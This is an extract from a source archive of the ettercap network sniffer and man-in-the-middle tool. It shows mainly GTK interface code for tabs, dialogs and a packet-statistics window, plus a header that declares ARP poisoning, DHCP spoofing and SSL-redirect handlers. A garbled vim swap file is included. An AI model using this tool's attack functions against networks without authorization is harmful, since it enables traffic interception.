detacher); gtkui_page_present(parent); return(parent); } /* show and focus the page containing child */ void gtkui_page_present(GtkWidget *child) { int num = 0; num = gtk_notebook_page_num(GTK_NOTEBOOK (notebook), child); gtk_notebook_set_current_page(GTK_NOTEBOOK (notebook), num); } /* close the page containing the child passed in "data" */ void gtkui_page_close(GtkWidget *widget, gpointer data) { GtkWidget *child; gint num = 0; void (*callback)(void); /* variable not used */ (void) widget; (void) data; DEBUG_MSG("gtkui_page_close"); num = gtk_notebook_page_num(GTK_NOTEBOOK(notebook), GTK_WIDGET (data)); child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); g_object_ref(G_OBJECT(child)); gtk_notebook_remove_page(GTK_NOTEBOOK(notebook), num); callback = g_object_get_data(G_OBJECT (child), "destroy"); if(callback) callback(); } /* close the currently focused notebook page */ void gtkui_page_close_current(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *child; gint num = 0; (void) action; (void) value; (void) data; num = gtk_notebook_get_current_page(GTK_NOTEBOOK (notebook)); child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); gtkui_page_close(NULL, child); } /* show the context menu when the notebook tabs recieve a mouse right-click */ gboolean gtkui_context_menu(GtkWidget *widget, GdkEventButton *event, gpointer data) { /* variable not used */ (void) widget; if(event->button == 3) { #if GTK_CHECK_VERSION(3,22,0) gtk_menu_popup_at_pointer(GTK_MENU(data), (GdkEvent*)event); #else gtk_menu_popup(GTK_MENU(data), NULL, NULL, NULL, NULL, 3, event->time); #endif /* * button press event handle must return TRUE to keep the selection * active when pressing the mouse button */ return TRUE; } return FALSE; } /* detach the currently focused notebook page into a free window */ void gtkui_page_detach_current(GSimpleAction *action, GVariant *value, gpointer data) { void (*detacher)(GtkWidget *); GtkWidget *child; gint num = 0; (void) action; (void) value; (void) data; num = gtk_notebook_get_current_page(GTK_NOTEBOOK (notebook)); if(num < 0) return; child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); g_object_ref(G_OBJECT(child)); gtk_notebook_remove_page(GTK_NOTEBOOK(notebook), num); detacher = g_object_get_data(G_OBJECT (child), "detach"); if(detacher) detacher(child); } void gtkui_page_attach_shortcut(GtkWidget *win, void (*attacher)(void)) { GtkAccelGroup *accel; GClosure *closure = NULL; GdkModifierType mods; gint keyval; accel = gtk_accel_group_new (); gtk_window_add_accel_group(GTK_WINDOW (win), accel); closure = g_cclosure_new(G_CALLBACK(attacher), NULL, NULL); gtk_accelerator_parse ("D", &keyval, &mods); gtk_accel_group_connect(accel, keyval, mods, 0, closure); } /* change view and focus to the next notebook page */ void gtkui_page_right(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; gtk_notebook_next_page(GTK_NOTEBOOK (notebook)); } /* change view and focus to previous notebook page */ void gtkui_page_left(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; gtk_notebook_prev_page(GTK_NOTEBOOK (notebook)); } /* for connecting to browse buttons, pass entry widget as callback "data" */ void gtkui_filename_browse(GtkWidget *widget, gpointer data) { GtkWidget *dialog = NULL; gint response = 0; const char *filename = NULL; /* variable not used */ (void) widget; dialog = gtk_file_chooser_dialog_new("Select a file...", NULL, GTK_FILE_CHOOSER_ACTION_OPEN, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_entry_set_text(GTK_ENTRY (data), filename); } gtk_widget_destroy(dialog); } /* make sure data is valid UTF8 */ char *gtkui_utf8_validate(char *data) { const gchar *end; char *unicode = NULL; unicode = data; if(!g_utf8_validate (data, -1, &end)) { /* if "end" pointer is at begining of string, we have no valid text to print */ if(end == unicode) return(NULL); /* cut off the invalid part so we don't lose the whole string */ /* this shouldn't happen often */ unicode = (char *)end; *unicode = 0; unicode = data; } return(unicode); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3.h0000644000175000017500000001625613505247364020460 0ustar koeppeakoeppea#ifndef ETTERCAP_GTK_H #define ETTERCAP_GTK_H #define G_DISABLE_CONST_RETURNS #include #include #include #include #define LOGO_FILE "ettercap.png" #define LOGO_FILE_SMALL "ettercap-small.png" #define ICON_FILE "ettercap.svg" #ifndef GTK_WRAP_WORD_CHAR #define GTK_WRAP_WORD_CHAR GTK_WRAP_WORD #endif struct gtk_conf_entry { char *name; short value; }; typedef struct gtk_accel_map { /* detailed action name */ char *action; /* * NULL terminated accelerator string-array, * able to contain up to 2 accelerators per action */ const char * const accel[3]; } gtkui_accel_map_t; struct resolv_object { /* Widget type to be updated */ GType type; /* Widget to be updated */ GtkWidget *widget; /* List Stores are not of type GtkWidget */ GtkListStore *liststore; /* some attributes needed to update the widget */ GtkTreeIter treeiter; guint column; /* The IP address to resolve */ struct ip_addr *ip; }; /* ec_gtk.c */ extern GtkApplication *etterapp; extern GtkWidget *window; /* main window */ extern GtkWidget *notebook, *notebook_frame; extern GtkWidget *textview; extern GtkWidget *infobar; extern GtkWidget *infolabel; extern GtkWidget *infoframe; extern GtkTextBuffer *msgbuffer; extern GtkTextMark *endmark; extern GTimer *progress_timer; extern void set_gtk_interface(void); extern void gtkui_about(GSimpleAction *action, GVariant *value, gpointer data); extern GtkWidget* gtkui_message_dialog(GtkWindow *parent, GtkDialogFlags flags, GtkMessageType type, GtkButtonsType buttons, const char *msg); extern GtkWidget* gtkui_infobar_new(GtkWidget *infoframe); extern void gtkui_infobar_show(GtkMessageType type, const gchar *msg); extern void gtkui_infobar_hide(GtkWidget *widget, gint response, gpointer data); extern void gtkui_message(const char *msg); extern void gtkui_input(const char *title, char *input, size_t n, void (*callback)(void)); extern void gtkui_exit(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_sniff_offline(void); extern void gtkui_sniff_live(void); extern gboolean gtkui_iptoa_deferred(gpointer data); extern gboolean gtkui_combo_enter(GtkWidget *widget, GdkEventKey *event, gpointer data); extern void gtkui_dialog_enter(GtkWidget *widget, gpointer data); extern gboolean gtkui_context_menu(GtkWidget *widget, GdkEventButton *event, gpointer data); extern void gtkui_filename_browse(GtkWidget *widget, gpointer data); extern char *gtkui_utf8_validate(char *data); /* MDI pages */ extern GtkWidget *gtkui_page_new(char *title, void (*callback)(void), void (*detacher)(GtkWidget *)); extern void gtkui_page_present(GtkWidget *child); extern void gtkui_page_close(GtkWidget *widget, gpointer data); extern void gtkui_page_close_current(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_page_detach_current(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_page_attach_shortcut(GtkWidget *win, void (*attacher)(void)); extern void gtkui_page_right(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_page_left(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_menus.c */ /* * 0 for offline menus * 1 for live menus */ extern void gtkui_create_menu(GApplication *app, gpointer data); extern void gtkui_create_tab_menu(void); /* ec_gtk3_start.c */ extern void gtkui_start_sniffing(void); extern void gtkui_stop_sniffing(void); /* ec_gtk3_filters.c */ extern void gtkui_load_filter(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_stop_filter(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_hosts.c */ #ifdef WITH_IPV6 extern void toggle_ip6scan(GSimpleAction *action, GVariant *value, gpointer data); #endif extern void gtkui_scan(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_load_hosts(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_save_hosts(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_host_list(GSimpleAction *action, GVariant *value, gpointer data); extern gboolean gtkui_refresh_host_list(gpointer data); /* ec_gtk3_view.c */ extern void gtkui_show_stats(GSimpleAction *action, GVariant *value, gpointer data); extern void toggle_resolve(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_vis_method(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_vis_regex(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_wifi_key(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_targets.c */ extern void toggle_reverse(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_select_protocol(GSimpleAction *action, GVariant *value, gpointer data); extern void wipe_targets(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_select_targets(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_current_targets(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_create_targets_array(void); /* ec_gtk3_view_profiles.c */ extern void gtkui_show_profiles(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_mitm.c */ extern void gtkui_arp_poisoning(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_icmp_redir(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_port_stealing(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_dhcp_spoofing(GSimpleAction *action, GVariant *value, gpointer data); #ifdef WITH_IPV6 extern void gtkui_ndp_poisoning(GSimpleAction *action, GVariant *value, gpointer data); #endif extern void gtkui_mitm_stop(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_redirect.c */ extern void gtkui_sslredir_show(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_logging.c */ extern void toggle_compress(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_log_all(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_log_info(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_log_msg(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_stop_log(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_stop_msg(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_plugins.c */ extern void gtkui_plugin_mgmt(GSimpleAction *action, GVariant *value, gpointer data); extern void gtkui_plugin_load(GSimpleAction *action, GVariant *value, gpointer data); extern gboolean gtkui_refresh_plugin_list(gpointer data); /* ec_gtk3_view_connections.c */ extern void gtkui_show_connections(GSimpleAction *action, GVariant *value, gpointer data); /* ec_gtk3_conf.c */ extern void gtkui_conf_set(char *name, short value); extern short gtkui_conf_get(char *name); extern void gtkui_conf_read(void); extern void gtkui_conf_save(void); #ifndef OS_WINDOWS /* ec_gtk3_help.c */ extern void gtkui_help(GSimpleAction *action, GVariant *value, gpointer data); #endif /* ec_gtk3_shortcuts.c */ extern void gtkui_show_shortcuts(GSimpleAction *action, GVariant *value, gpointer data); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/.ec_gtk3.c.swp0000644000175000017500000004000013505247364021321 0ustar koeppeakoeppeab0VIM 8.0Z, P(koeppeaboston~koeppea/dev/ettercap/src/interfaces/gtk3/ec_gtk3.c 3210#"! Utpde^rvhwUc];YiZx_{Raddt+x5 { ; ~ j i  u t S % s S 4  c 5  }U&_^w"!P.EX@{static gboolean gtkui_cleanup_shim(gpointer data)*/ * idle loop, ensugin only th emain thread performs GTK operations/* wrapper functions which inject the real function call into the main#define DISABLED "false"#define ENABLED "true"static gboolean gtkui_progress_cancel(GtkWidget *window, gpointer data);static void gtkui_set_netmask(GSimpleAction *action, GVariant *value, gpointer data);static void gtkui_pcap_filter(GSimpleAction *action, GVariant *value, gpointer data);static void gtkui_sniff(GtkButton *button, gpointer data);static gboolean gtkui_autostart_switch(GtkSwitch *switcher, gboolean state, gpointer data);static gboolean gtkui_bridged_switch(GtkSwitch *switcher, gboolean state, gpointer data);static void gtkui_set_iface_bridge(GtkComboBox *combo, gpointer data);static void gtkui_set_iface_unified(GtkComboBox *combo, gpointer data);static void write_pcapfile(void);static void gtkui_file_write(GSimpleAction *action, GVariant *value, gpointer data);static void read_pcapfile(gchar *file);static void gtkui_file_open(GSimpleAction *action, GVariant *value, gpointer data);static void toggle_nopromisc(GSimpleAction *action, GVariant *value, gpointer data);static void toggle_unoffensive(GSimpleAction *action, GVariant *value, gpointer data);static void gtkui_build_widgets(GApplication* app, gpointer data);GtkApplication* gtkui_setup(void * activate_func, gpointer activate_param);static void gtkui_progress(char *title, int value, int max);static gboolean gtkui_flush_msg(gpointer data);static void gtkui_fatal_error(const char *msg);static void gtkui_error(const char *msg);gboolean gtkui_infobar_expired(gpointer data);static void gtkui_msg(const char *msg);static void gtkui_update(int target);static void gtkui_cleanup(void);static void gtkui_init(void);void gtkui_start(void);/* proto */static GtkWidget *progress_bar = NULL;static GtkWidget *progress_dialog = NULL;static gboolean progress_canceled = FALSE;GtkTextMark *endmark = NULL;GtkTextBuffer *msgbuffer = NULL;static guint infotimer = 0;GtkWidget *infoframe = NULL;GtkWidget *infolabel = NULL;GtkWidget *infobar = NULL;GtkWidget *textview = NULL;GtkWidget *notebook_frame = NULL;GTimer *progress_timer = NULL;guint merge_id;GtkUIManager *menu_manager = NULL;GtkWidget *main_menu = NULL;GtkWidget *notebook = NULL;GtkWidget *window = NULL; /* main window */GtkApplication *etterapp = NULL;/* globals */#define IFACE_LEN 100 */ * on WinPcap can contain and newlines! * for this; one for dev-name and 1 for description. Note: dev->description /* \Device\NPF{...} and description are huge. There should be 2 buffers#include #include #include #include #include #include */ Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. along with this program; if not, write to the Free Software You should have received a copy of the GNU General Public License GNU General Public License for more details. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the but WITHOUT ANY WARRANTY; without even the implied warranty of This program is distributed in the hope that it will be useful, (at your option) any later version. the Free Software Foundation; either version 2 of the License, or it under the terms of the GNU General Public License as published by This program is free software; you can redistribute it and/or modify Copyright (C) ALoR & NaGA ettercap -- GTK+3/GNOME GUI/*ad x XC*)nm& y x w // vim:ts=3:expandtab/* EOF */} return(unicode); } unicode = data; *unicode = 0; unicode = (char *)end; /* this shouldn't happen often */ /* cut off the invalid part so we don't lose the whole string */ if(end == unicode) return(NULL); /* if "end" pointer is at begining of string, we have no valid text to print */ if(!g_utf8_validate (data, -1, &end)) { unicode = data; char *unicode = NULL; const gchar *end;char *gtkui_utf8_validate(char *data) {/* make sure data is valid UTF8 */} gtk_widget_destroy(dialog); } gtk_entry_set_text(GTK_ENTRY (data), filename);ettercap-0.8.3/src/interfaces/gtk/0000755000175000017500000000000013505247364016673 5ustar koeppeakoeppeaettercap-0.8.3/src/interfaces/gtk/ec_gtk_start.c0000644000175000017500000000226013505247364021510 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /*******************************************/ void gtkui_start_sniffing(void) { DEBUG_MSG("gtk_start_sniffing"); /* start the sniffing method */ EXECUTE(EC_GBL_SNIFF->start); } void gtkui_stop_sniffing(void) { DEBUG_MSG("gtk_stop_sniffing"); /* terminate the sniffing engine */ EXECUTE(EC_GBL_SNIFF->cleanup); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk/ec_gtk_view.c0000644000175000017500000005000213505247364021322 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* proto */ static void gtkui_set_regex(void); static void gtkui_set_wifikey(void); static void gtkui_stop_stats(void); static void gtkui_stats_detach(GtkWidget *child); static void gtkui_stats_attach(void); static gboolean refresh_stats(gpointer data); /* globals */ #define VLEN 8 static char vmethod[VLEN] = "ascii"; #define RLEN 50 static char vregex[RLEN]; #define WLEN 70 static char wkey[WLEN]; static guint stats_idle; /* for removing the idle call */ /* for stats window */ static GtkWidget *stats_window, *packets_recv, *packets_drop, *packets_forw, *queue_len, *sample_rate, *recv_bottom, *recv_top, *interesting, *rate_bottom, *rate_top, *through_bottom, *through_top; /*******************************************/ /* * If this option is being activated, * it runs through the current hosts list and triggeres * name resolution in the background. * That way subsequent actions benefits from the filled cache */ void toggle_resolve(void) { char name[MAX_HOSTNAME_LEN]; struct hosts_list *hl; /* resolution already set */ if (EC_GBL_OPTIONS->resolve) { EC_GBL_OPTIONS->resolve = 0; resolv_thread_fini(); return; } DEBUG_MSG("toggle_resolve: activate name resolution"); /* set the option and activate resolution threads */ EC_GBL_OPTIONS->resolve = 1; resolv_thread_init(); /* run through the current hosts list and trigger resolution */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { if (hl->hostname) continue; host_iptoa(&hl->ip, name); } /* actually refresh the host list */ EC_GBL_UI->update(UI_UPDATE_HOSTLIST); } /* * display the statistics windows */ void gtkui_show_stats(void) { GtkWidget *table, *label; DEBUG_MSG("gtkui_show_stats"); /* if the object already exist, set the focus to it */ if (stats_window) { /* show stats window */ if(GTK_IS_WINDOW (stats_window)) gtk_window_present(GTK_WINDOW (stats_window)); else gtkui_page_present(stats_window); return; } stats_window = gtkui_page_new("Statistics", >kui_stop_stats, >kui_stats_detach); /* alright, this is a lot of code but it'll keep everything lined up nicely */ /* if you need to add a row, don't forget to increase the number in gtk_table_new */ table = gtk_table_new(12, 2, FALSE); /* rows, cols, size */ gtk_table_set_col_spacings(GTK_TABLE (table), 10); gtk_container_add(GTK_CONTAINER (stats_window), table); packets_recv = gtk_label_new(" "); gtk_label_set_selectable(GTK_LABEL (packets_recv), TRUE); gtk_misc_set_alignment(GTK_MISC (packets_recv), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), packets_recv, 1, 2, 0, 1); label = gtk_label_new( "Received packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 0, 1); packets_drop = gtk_label_new(" "); gtk_label_set_selectable(GTK_LABEL (packets_drop), TRUE); gtk_misc_set_alignment(GTK_MISC (packets_drop), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), packets_drop, 1, 2, 1, 2); label = gtk_label_new("Dropped packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 1, 2); packets_forw = gtk_label_new(" 0 bytes: 0 "); gtk_label_set_selectable(GTK_LABEL (packets_forw), TRUE); gtk_misc_set_alignment(GTK_MISC (packets_forw), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), packets_forw, 1, 2, 2, 3); label = gtk_label_new("Forwarded packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 2, 3); queue_len = gtk_label_new("0/0 "); gtk_label_set_selectable(GTK_LABEL (queue_len), TRUE); gtk_misc_set_alignment(GTK_MISC (queue_len), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), queue_len, 1, 2, 3, 4); label = gtk_label_new("Current queue length:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 3, 4); sample_rate = gtk_label_new("0 "); gtk_label_set_selectable(GTK_LABEL (sample_rate), TRUE); gtk_misc_set_alignment(GTK_MISC (sample_rate), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), sample_rate, 1, 2, 4, 5); label = gtk_label_new("Sampling rate:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 4, 5); recv_bottom = gtk_label_new("pck: 0 bytes: 0"); gtk_label_set_selectable(GTK_LABEL (recv_bottom), TRUE); gtk_misc_set_alignment(GTK_MISC (recv_bottom), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), recv_bottom, 1, 2, 5, 6); label = gtk_label_new("Bottom Half received packet:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 5, 6); recv_top = gtk_label_new("pck: 0 bytes: 0"); gtk_label_set_selectable(GTK_LABEL (recv_top), TRUE); gtk_misc_set_alignment(GTK_MISC (recv_top), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), recv_top, 1, 2, 6, 7); label = gtk_label_new("Top Half received packet:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 6, 7); interesting = gtk_label_new("0.00 %"); gtk_label_set_selectable(GTK_LABEL (interesting), TRUE); gtk_misc_set_alignment(GTK_MISC (interesting), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), interesting, 1, 2, 7, 8); label = gtk_label_new("Interesting packets:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 7, 8); rate_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (rate_bottom), TRUE); gtk_misc_set_alignment(GTK_MISC (rate_bottom), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), rate_bottom, 1, 2, 8, 9); label = gtk_label_new("Bottom Half packet rate:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 8, 9); rate_top = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (rate_top), TRUE); gtk_misc_set_alignment(GTK_MISC (rate_top), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), rate_top, 1, 2, 9, 10); label = gtk_label_new("Top Half packet rate:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 9, 10); through_bottom = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (through_bottom), TRUE); gtk_misc_set_alignment(GTK_MISC (through_bottom), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), through_bottom, 1, 2, 10, 11); label = gtk_label_new("Bottom Half throughput:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 10, 11); through_top = gtk_label_new("worst: 0 adv: 0 b/s"); gtk_label_set_selectable(GTK_LABEL (through_top), TRUE); gtk_misc_set_alignment(GTK_MISC (through_top), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), through_top, 1, 2, 11, 12); label = gtk_label_new("Top Half throughput:"); gtk_label_set_selectable(GTK_LABEL (label), TRUE); gtk_misc_set_alignment(GTK_MISC (label), 0, 0.5); gtk_table_attach_defaults(GTK_TABLE(table), label, 0, 1, 11, 12); gtk_widget_show_all(table); gtk_widget_show(stats_window); /* display the stats */ refresh_stats(NULL); /* refresh the stats window every 200 ms */ /* GTK has a gtk_idle_add also but it calls too much and uses 100% cpu */ stats_idle = g_timeout_add(200, refresh_stats, NULL); } static void gtkui_stats_detach(GtkWidget *child) { stats_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_title(GTK_WINDOW (stats_window), "Statistics"); gtk_container_set_border_width(GTK_CONTAINER (stats_window), 10); g_signal_connect (G_OBJECT (stats_window), "delete_event", G_CALLBACK (gtkui_stop_stats), NULL); /* make d shortcut turn the window back into a tab */ gtkui_page_attach_shortcut(stats_window, gtkui_stats_attach); gtk_container_add(GTK_CONTAINER (stats_window), child); gtk_window_present(GTK_WINDOW (stats_window)); } static void gtkui_stats_attach(void) { gtkui_stop_stats(); gtkui_show_stats(); } static void gtkui_stop_stats(void) { DEBUG_MSG("gtk_stop_stats"); g_source_remove(stats_idle); gtk_widget_destroy(stats_window); stats_window = NULL; } static gboolean refresh_stats(gpointer data) { char line[50]; /* variable not used */ (void) data; /* if not focused don't refresh it */ /* this also removes the idle call, but should only occur if the window isn't visible */ if (!gtk_widget_get_visible(stats_window)) return FALSE; snprintf(line, 50, "%8"PRIu64, EC_GBL_STATS->ps_recv); gtk_label_set_text(GTK_LABEL (packets_recv), line); snprintf(line, 50, "%8"PRIu64" %.2f %%", EC_GBL_STATS->ps_drop, (EC_GBL_STATS->ps_recv) ? (float)EC_GBL_STATS->ps_drop * 100 / EC_GBL_STATS->ps_recv : 0 ); gtk_label_set_text(GTK_LABEL (packets_drop), line); snprintf(line, 50, "%8"PRIu64" bytes: %8"PRIu64" ", EC_GBL_STATS->ps_sent, EC_GBL_STATS->bs_sent); gtk_label_set_text(GTK_LABEL (packets_forw), line); snprintf(line, 50, "%lu/%lu ", EC_GBL_STATS->queue_curr, EC_GBL_STATS->queue_max); gtk_label_set_text(GTK_LABEL (queue_len), line); snprintf(line, 50, "%d ", EC_GBL_CONF->sampling_rate); gtk_label_set_text(GTK_LABEL (sample_rate), line); snprintf(line, 50, "pck: %8"PRIu64" bytes: %8"PRIu64, EC_GBL_STATS->bh.pck_recv, EC_GBL_STATS->bh.pck_size); gtk_label_set_text(GTK_LABEL (recv_bottom), line); snprintf(line, 50, "pck: %8"PRIu64" bytes: %8"PRIu64, EC_GBL_STATS->th.pck_recv, EC_GBL_STATS->th.pck_size); gtk_label_set_text(GTK_LABEL (recv_top), line); snprintf(line, 50, "%.2f %%", (EC_GBL_STATS->bh.pck_recv) ? (float)EC_GBL_STATS->th.pck_recv * 100 / EC_GBL_STATS->bh.pck_recv : 0 ); gtk_label_set_text(GTK_LABEL (interesting), line); snprintf(line, 50, "worst: %8lu adv: %8lu p/s", EC_GBL_STATS->bh.rate_worst, EC_GBL_STATS->bh.rate_adv); gtk_label_set_text(GTK_LABEL (rate_bottom), line); snprintf(line, 50, "worst: %8lu adv: %8lu p/s", EC_GBL_STATS->th.rate_worst, EC_GBL_STATS->th.rate_adv); gtk_label_set_text(GTK_LABEL (rate_top), line); snprintf(line, 50, "worst: %8lu adv: %8lu b/s", EC_GBL_STATS->bh.thru_worst, EC_GBL_STATS->bh.thru_adv); gtk_label_set_text(GTK_LABEL (through_bottom), line); snprintf(line, 50, "worst: %8lu adv: %8lu b/s", EC_GBL_STATS->th.thru_worst, EC_GBL_STATS->th.thru_adv); gtk_label_set_text(GTK_LABEL (through_top), line); return(TRUE); } /* * change the visualization method */ void gtkui_vis_method(void) { GtkWidget *dialog, *button, *prev, *vbox, *content_area; GSList *curr = NULL; gint active = 0, response = 0; GtkTreeModel *model; GtkTreeIter iter; GtkListStore *lang_list = NULL; GtkCellRenderer *cell = NULL; GtkWidget *hbox, *lang_combo, *label; char encoding[50], def_lang[75]; const char *local_lang, *selected_lang; DEBUG_MSG("gtk_vis_method"); dialog = gtk_dialog_new_with_buttons("Visualization method...", GTK_WINDOW (window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(content_area), vbox); button = gtk_radio_button_new_with_label(NULL, "Print the packets in hex format."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "hex") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Print only \"printable\" characters, the others are displayed as dots '.'"); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "ascii") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Print only the \"printable\" characters and skip the others."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "text") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON (prev), "Convert an EBCDIC text to ASCII."); gtk_box_pack_start(GTK_BOX(vbox), button, FALSE, FALSE, 0); if(strcmp(vmethod, "ebcdic") == 0) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button), TRUE); prev = button; button = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON 